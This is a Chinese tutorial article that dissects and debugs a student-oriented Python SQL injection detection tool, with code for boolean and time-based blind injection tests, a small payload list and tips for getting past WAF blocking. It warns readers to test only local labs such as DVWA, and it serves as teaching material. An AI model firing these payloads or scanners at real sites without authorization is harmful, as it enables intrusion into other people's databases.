拓十年匠心定制 · 商业建站与技术教学双线并行 咨询热线:400-886-1026 service@lmnt.cn
ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

Python自动化SQL注入检测工具源码解析与调试实战

Python自动化SQL注入检测工具源码解析与调试实战

简介:这是一套基于Python实现的自动化SQL注入检测工具完整源码,面向计算机、网络安全及通信相关专业的学生与从业者,可用于毕业设计、课程大作业或安全入门进阶学习。项目围绕布尔盲注、时间盲注等常见注入类型展开,配套查询参数提取、规则配置、结果展示与邮件通知等模块,帮助读者理解自动化漏洞检测的基本流程与实现思路。资源包共12个文件,以7个py源码文件为核心,另含txt站点列表、sh脚本、md说明文档、rules规则文件及pyc编译文件,压缩包约35KB,结构紧凑便于阅读与二次开发。目前已有68人学习下载。代码经过调试测试,可直接运行,文档说明清晰,适合在此基础上修改调整,实现自定义检测逻辑或扩展功能,具备较高的学习借鉴价值。

1. 拿到一份 Python 自动化 SQL 注入检测工具源码,先别急着跑

很多人下载到「基于 Python 的自动化 SQL 注入检测工具」这类毕设源码,第一反应是双击主文件看能不能出结果,结果往往是一堆报错或者干脆没反应。这份资源的核心价值不在于它有多强的实战攻击能力,而在于它把 SQL 注入检测里最典型的几类逻辑——布尔盲注、时间盲注、参数提取、结果回显、邮件通知——用一套能跑通的 Python 代码串了起来。它适合谁?计算机相关专业做课程设计或毕设的学生,想理解自动化注入检测流程的入门者,以及需要一份可调试、可修改的检测框架做二次开发的人。整个包里有AutoSQLInjecter.py、boolInject.py、timeInject.py、sqlhacker.py等多个入口,配合getQueryParameters.py做参数抓取,rules目录放规则,websites.txt存目标列表,sendMail.py负责结果推送。你拿到手的第一件事不是运行,而是把目录结构和文件职责理清楚,否则后面调参和排错会非常被动。

2. 拆解源码结构:从入口文件到注入逻辑的分层设计

2.1 主控入口与模块职责划分

这份源码的架构不算复杂,但分层是清晰的。AutoSQLInjecter.py是主控入口,负责读取websites.txt里的目标列表,然后调度具体的注入检测模块。sqlhacker.py更像一个总调度器,把参数获取、注入检测、结果输出串起来。boolInject.py和timeInject.py分别对应布尔盲注和时间盲注两种检测方式,这是自动化 SQL 注入检测里最常用的两条路径。getQueryParameters.py负责从 URL 中提取可注入的参数,showResult.sh是一个 shell 脚本,用来展示检测结果,sendMail.py则是在检测完成后把结果发到指定邮箱。rules目录下通常放的是 payload 规则或者匹配规则,README.md是文档说明。

理解这个分层之后,你就能明白为什么不能直接跑主文件:主文件依赖websites.txt里有合法目标,依赖getQueryParameters.py能正确解析 URL,依赖rules目录存在且格式正确。任何一个环节缺失,都会导致运行失败。常见做法是先把每个模块单独跑一遍,确认输入输出符合预期,再串起来。

2.2 布尔盲注与时间盲注的实现差异

布尔盲注的核心逻辑是:构造一个条件判断的 payload,观察页面返回内容是否发生变化,以此推断数据库信息。boolInject.py里通常会有一个函数,接收 URL 和参数,然后循环发送请求,对比响应长度或特定关键字。时间盲注则不同,它不依赖页面内容变化,而是通过SLEEP()或类似函数让数据库延迟响应,根据响应时间判断条件真假。timeInject.py里会设置一个时间阈值,比如响应超过 5 秒就认为条件成立。

这两种方式各有适用场景。布尔盲注速度快,但对页面内容差异的识别要求高,如果页面本身有动态内容,误报率会上升。时间盲注速度慢,但稳定性好,适合页面没有明显回显的情况。源码里把两者分开实现,说明作者考虑到了不同目标环境的差异。你在调试时,可以先用手工构造的 payload 验证目标是否存在注入点,再决定用哪个模块。

2.3 参数提取与目标列表的联动机制

getQueryParameters.py的作用是从 URL 中提取查询参数。比如目标 URL 是http://example.com/page.php?id=1&name=test,这个模块会解析出id和name两个参数,然后分别对它们进行注入测试。websites.txt则是目标列表,每行一个 URL。主控程序会逐行读取,然后调用参数提取模块。

这里有一个容易被忽略的细节:getQueryParameters.py和getQueryParameters.pyc同时存在。.pyc是编译后的字节码文件,说明作者可能在某些环境下直接运行了编译版本。你修改.py文件后,如果程序仍然加载旧的.pyc,就会出现「改了代码没生效」的玄学问题。解决办法是删除.pyc文件,或者用python -B参数禁止生成字节码。

# getQueryParameters.py 的典型实现逻辑 from urllib.parse import urlparse, parse_qs def extract_params(url): """ 从 URL 中提取查询参数 :param url: 完整 URL 字符串 :return: 参数字典 {参数名: 参数值} """ parsed = urlparse(url) # parse_qs 返回的是 {key: [value]} 格式,这里取第一个值 params = parse_qs(parsed.query) return {k: v[0] for k, v in params.items()} # 调用示例 if __name__ == "__main__": test_url = "http://testphp.vulnweb.com/artists.php?artist=1" print(extract_params(test_url)) # 输出: {'artist': '1'}

这段代码的逻辑很直接:用urlparse拆解 URL,用parse_qs解析查询字符串。参数说明上,parse_qs默认会把值包装成列表,所以需要取v[0]。如果你拿到的 URL 里参数值本身包含特殊字符,可能需要在解析前做 URL 解码。常见做法是在extract_params里加一层unquote,但这份源码里没有做,遇到编码过的参数时可能会漏测。

3. 环境配置与依赖安装:把工具跑起来的前置条件

3.1 Python 版本选择与虚拟环境搭建

这份源码是基于 Python 3 写的,但具体是小版本 3.6 还是 3.8,README 里如果没有写,就需要你自己判断。看代码里有没有用到 f-string、asyncio、类型注解这些特性。如果用了 f-string,至少是 3.6+;如果用了asyncio.run(),至少是 3.7+。我一般会先用 Python 3.8 试,因为这个版本兼容性最好,第三方库支持也全。

虚拟环境是必须的。不要直接在系统 Python 里装依赖,否则版本冲突会让你后悔。用venv或者conda都行,命令如下:

# 创建虚拟环境 python3 -m venv venv # 激活虚拟环境(Linux/Mac) source venv/bin/activate # 激活虚拟环境(Windows) venv\Scripts\activate # 确认 Python 版本 python --version

激活后,命令行前面会出现(venv)标识。后续所有pip install都在这个环境里执行,不会污染系统环境。

3.2 依赖库识别与安装

源码里没有requirements.txt,这是比较麻烦的地方。你需要手动识别导入了哪些第三方库。常见的有requests(发 HTTP 请求)、beautifulsoup4(解析 HTML)、lxml(XML/HTML 解析)、smtplib(发邮件,标准库)。用grep快速扫一遍:

# 查找所有 import 语句 grep -rh "^import\|^from" *.py | sort -u

根据输出结果,把非标准库的包挑出来安装。比如:

pip install requests beautifulsoup4 lxml

如果你不确定某个包是不是标准库,可以查 Python 官方文档的模块索引。标准库不需要安装,第三方库才需要。安装完成后,用pip freeze > requirements.txt生成依赖清单,方便以后重建环境。

3.3 目标列表与规则文件的准备

websites.txt里默认可能有一些示例 URL,但那些地址大概率已经失效。你需要自己准备合法的测试目标。如果是学习用途,可以在本地搭建 DVWA 或者 SQLi Labs 这类靶场环境,把本地地址填进去。rules目录下的规则文件需要确认格式,通常是每行一个 payload 或者一个匹配模式。如果规则文件为空或者格式不对,注入检测会直接跳过。

# 查看 websites.txt 内容 cat websites.txt # 查看 rules 目录结构 ls -la rules/ # 如果 rules 目录为空,需要手动添加规则文件 # 规则文件示例(payloads.txt): # ' OR '1'='1 # ' OR 1=1 -- # ' UNION SELECT NULL --

提示:不要用这份工具去扫描任何未授权的目标。本地靶场是最安全的选择,既能验证功能,又不会惹麻烦。

4. 核心检测流程调试:布尔盲注与时间盲注的实操参数

4.1 布尔盲注的请求构造与响应比对

布尔盲注的关键在于构造一个能让数据库返回真或假的 payload,然后观察页面响应差异。boolInject.py里通常会有一个check_injection函数,接收 URL、参数名、payload,然后发送请求,比对响应内容。比对方式可能是比较响应长度、比较特定字符串是否存在、或者比较 HTTP 状态码。

import requests def bool_inject_test(url, param, payload): """ 布尔盲注检测 :param url: 目标 URL :param param: 注入参数名 :param payload: 注入 payload :return: True/False 表示是否存在注入 """ # 构造注入后的 URL injected_url = f"{url}?{param}={payload}" try: # 发送请求,设置超时避免卡死 resp = requests.get(injected_url, timeout=10) # 比对响应长度,这里用简单阈值判断 # 实际项目中应该先获取正常响应的基线长度 if len(resp.text) > 1000: return True return False except requests.exceptions.RequestException as e: print(f"请求失败: {e}") return False # 测试示例 test_url = "http://localhost/dvwa/vulnerabilities/sqli/" payload = "' OR '1'='1" result = bool_inject_test(test_url, "id", payload) print(f"注入检测结果: {result}")

这段代码的逻辑是:拼接 payload 到 URL,发送 GET 请求,根据响应长度判断。参数说明上,timeout=10是必须的,否则遇到无响应目标会一直卡住。len(resp.text) > 1000这个阈值是硬编码的,实际使用时应该先请求一次正常页面,记录基线长度,再用基线长度做对比。常见做法是计算响应长度的差值,如果差值超过某个百分比,就认为条件成立。

4.2 时间盲注的延迟阈值设定

时间盲注不依赖页面内容,而是依赖数据库的SLEEP()函数。timeInject.py里会构造类似' AND SLEEP(5) --的 payload,然后测量请求耗时。如果耗时超过 5 秒,说明条件成立。

import time import requests def time_inject_test(url, param, payload, delay=5): """ 时间盲注检测 :param url: 目标 URL :param param: 注入参数名 :param payload: 注入 payload,应包含 SLEEP 函数 :param delay: 预期延迟秒数 :return: True/False 表示是否存在注入 """ injected_url = f"{url}?{param}={payload}" try: start = time.time() resp = requests.get(injected_url, timeout=delay + 10) elapsed = time.time() - start # 如果实际耗时超过预期延迟的 80%,认为注入成功 if elapsed >= delay * 0.8: return True return False except requests.exceptions.Timeout: # 超时也说明可能存在延迟注入 return True except requests.exceptions.RequestException as e: print(f"请求异常: {e}") return False # 测试示例 test_url = "http://localhost/dvwa/vulnerabilities/sqli/" payload = "' AND SLEEP(5) -- " result = time_inject_test(test_url, "id", payload, delay=5) print(f"时间盲注检测结果: {result}")

参数说明上,delay是预期延迟秒数,timeout设置为delay + 10是为了给网络波动留余量。elapsed >= delay * 0.8这个判断条件是为了容忍一定的误差,因为网络传输本身也有耗时。如果目标服务器响应本来就慢,这个阈值需要调高,否则误报率会很高。

4.3 结果输出与邮件通知的配置

showResult.sh和sendMail.py负责结果展示和通知。showResult.sh可能只是简单地cat一个结果文件,或者调用 Python 脚本打印结果。sendMail.py则需要配置 SMTP 服务器、发件人邮箱、授权码、收件人邮箱。

import smtplib from email.mime.text import MIMEText def send_result_mail(smtp_server, smtp_port, sender, password, receiver, subject, content): """ 发送检测结果邮件 :param smtp_server: SMTP 服务器地址 :param smtp_port: SMTP 端口 :param sender: 发件人邮箱 :param password: 邮箱授权码 :param receiver: 收件人邮箱 :param subject: 邮件主题 :param content: 邮件正文 """ msg = MIMEText(content, "plain", "utf-8") msg["Subject"] = subject msg["From"] = sender msg["To"] = receiver try: # 使用 SSL 连接,端口通常是 465 server = smtplib.SMTP_SSL(smtp_server, smtp_port) server.login(sender, password) server.sendmail(sender, [receiver], msg.as_string()) server.quit() print("邮件发送成功") except Exception as e: print(f"邮件发送失败: {e}") # 调用示例(请替换为真实配置) # send_result_mail("smtp.example.com", 465, "sender@example.com", "授权码", "receiver@example.com", "SQL注入检测结果", "检测到注入点...")

参数说明上,password不是邮箱登录密码,而是 SMTP 授权码,需要在邮箱设置里单独开启。smtp_port用 465 是 SSL 加密端口,如果用 587 则需要starttls()。这段代码里没有做异常重试,如果网络不稳定,邮件可能发送失败。常见做法是加一个重试循环,或者把结果先写入本地文件,再异步发送。

5. 避坑与常见问题排查:那些让你白跑一整天的细节

5.1 请求被拦截或返回 403

现象:程序运行后,所有请求都返回 403 Forbidden,或者直接连接被重置。原因:目标服务器有 WAF 或者反爬机制,识别到了自动化请求。解决:在requests.get()里加上headers参数,模拟浏览器请求。常见的 header 包括User-Agent、Accept、Accept-Language。如果还是被拦截,可以尝试降低请求频率,加time.sleep(1)在每次请求之间。

5.2 时间盲注误报严重

现象:明明没有注入漏洞的页面,时间盲注模块也报告存在注入。原因:网络延迟波动大,或者目标服务器本身响应就慢,导致elapsed超过了阈值。解决:先测量正常请求的基线耗时,把阈值设置为基线耗时的 2 到 3 倍。另外,可以多次请求取平均值,减少单次波动的影响。

5.3 参数提取遗漏 POST 请求

现象:目标 URL 的注入点不在查询字符串里,而是在 POST 表单里,但getQueryParameters.py只解析了 URL 查询参数,导致漏测。原因:源码只实现了 GET 参数提取,没有处理 POST 请求。解决:需要手动扩展getQueryParameters.py,增加对 POST 表单的解析。可以用requests.post()发送请求,然后用BeautifulSoup解析表单字段。

5.4 规则文件格式错误导致检测跳过

现象:程序运行后没有任何输出,或者直接退出,没有任何报错。原因:rules目录下的规则文件格式不对,程序读取时解析失败,但异常被捕获后没有打印。解决:检查规则文件的编码和换行符,确保每行一个 payload,没有空行和注释符号。可以在读取规则的代码里加print调试,确认读到了多少条规则。

5.5 邮件发送失败但无提示

现象:检测完成后,sendMail.py没有报错,但收件箱里没有邮件。原因:SMTP 授权码错误,或者邮件被收件方服务器拦截进了垃圾箱。解决:先用telnet smtp.example.com 465测试 SMTP 服务器连通性,再检查授权码是否过期。另外,把发件人邮箱加入收件人白名单,避免被当成垃圾邮件。

6. 进阶改造:把检测结果落成结构化报告并做二次验证

这份源码默认的输出方式比较粗糙,showResult.sh可能只是打印几行文本。如果你要拿它做毕设答辩或者课程设计,最好把结果整理成结构化格式,比如 JSON 或者 CSV。我一般会在sqlhacker.py的结果输出部分加一个函数,把检测到的注入点、参数名、payload、响应特征写进字典,然后json.dump()到文件。

import json from datetime import datetime def save_structured_result(results, output_file="scan_report.json"): """ 将检测结果保存为结构化 JSON 报告 :param results: 检测结果列表,每个元素是字典 :param output_file: 输出文件名 """ report = { "scan_time": datetime.now().strftime("%Y-%m-%d %H:%M:%S"), "total_targets": len(results), "vulnerable_count": sum(1 for r in results if r.get("vulnerable")), "details": results } with open(output_file, "w", encoding="utf-8") as f: json.dump(report, f, ensure_ascii=False, indent=2) print(f"报告已保存至 {output_file}") # 假设 results 是检测过程中收集的列表 # results = [ # {"url": "http://localhost/dvwa/...", "param": "id", "payload": "' OR '1'='1", "vulnerable": True, "type": "boolean"}, # {"url": "http://localhost/dvwa/...", "param": "id", "payload": "' AND SLEEP(5) --", "vulnerable": True, "type": "time"} # ] # save_structured_result(results)

这段代码的逻辑是:把检测结果包装成一个包含扫描时间、目标总数、漏洞数量、详细列表的字典,然后序列化为 JSON。参数说明上,ensure_ascii=False保证中文正常显示,indent=2让输出可读。有了这份 JSON 报告,你可以在答辩时直接展示,也可以写一个简单的 HTML 页面做可视化。

另一个值得做的改造是二次验证。自动化检测难免有误报,我习惯在报告生成后,对每个标记为「存在注入」的目标再手工验证一次。具体做法是:用curl或者浏览器直接访问构造好的 payload URL,观察页面变化。如果手工验证不通过,就把该条记录标记为「疑似误报」,在报告里单独列出。这样既保留了自动化检测的效率,又提高了结果的可靠性。

从那以后我每次拿到这类检测工具,都会先跑一遍本地靶场,确认基线行为,再上真实目标。而且不管多忙,都会强制走一遍「结构化输出 + 手工二次验证」的流程,因为血泪经验告诉我,自动化报告里的每一条「确认漏洞」,都可能让你在答辩现场被问得下不来台。希望帮到你。

本文还有配套的精品资源,点击获取

返回列表